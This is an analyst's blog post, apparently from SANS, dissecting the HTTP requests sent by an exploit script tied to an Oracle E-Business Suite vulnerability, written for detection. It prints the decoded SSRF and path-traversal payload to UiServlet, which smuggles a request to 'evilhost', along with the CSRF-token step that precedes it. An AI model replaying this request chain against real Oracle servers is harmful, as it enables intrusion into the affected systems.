This weekend, Oracle published a surprise security bulletin announcing an exploited vulnerability in Oracle E-Business Suite. As part of the announcement, which also included a patch, Oracle published IoC observed as part of the incident response [1].

One script I found interesting is what Oracle calls "exp.py". Here is a quick analysis of the HTTP requests sent by the script. I only ran it against a simple Python web server, not an actual Oracle E-Business Suite install.

The script takes two parameters: The URL of the target and the IP/port of a config server.

The first request sent by the script:

GET /OA_HTML/runforms.jsp HTTP/HTTP/1.1
Host: [target host]:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

The script starts by assuming that the internal host is the same as the target host. If this request results in a redirect, the new internal host will be extracted from the Location header.

POST /OA_HTML/JavaScriptServlet HTTP/HTTP/1.1
Host: [target host]:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
CSRF-XHR: YES
FETCH-CSRF-TOKEN: 1
Content-Length: 0

This request will return a CSRF token that is extracted from the body of the response.

Finally, the actual exploit request is created:

POST /OA_HTML/configurator/UiServlet HTTP/HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
CSRF-XHR: YES
FETCH-CSRF-TOKEN: 1
Content-Length: 4324
Content-Type: application/x-www-form-urlencoded

These are the headers of the request, which are not very remarkable. The body is a bit more interesting. After URL and HTML entity decoding, the body turns out to be:

redirectFromJsp=1
getUiType=<?xml+version="1.0"+encoding="UTF-8"?>
<initialize>
++++<param+name="init_was_saved">test</param>
++++<param+name="return_url">
http://target:7201/OA_HTML/help/../ieshostedsurvey.jsp HTTP/1.2
Host: evilhost:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Connection: keep-alive
Cookie:

POST /

++++<param+name="ui_def_id">0</param>
++++<param+name="config_effective_usage_id">0</param>
++++<param+name="ui_type">Applet</param>
</initialize>

Interesting is the use of the invalid HTTP version 1.2, which may be used to bypass some filters. The stray "POST /" at the end is labeled as "keep alive", and may just be a partial request to keep the connection open a bit longer.

Port 7201 is the default non-TLS port for the application server. The URL looks like a path traversal exploit. Given that this is the payload of the last request, the vulnerability is likely best described as a server-side request forgery issue (and it is labeled as such in the script). 

In short, the exploit does:

• Verify the hostname name
• Retrieve a CSRF token
• sends a request to the app server to use SSRF to connect to an "evilhost" and retrieve instructions? Maybe more about this later. From a detection point of view. The HTTP version 1.2 looks promising.

[1] https://www.oracle.com/security-alerts/alert-cve-2025-61882.html

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|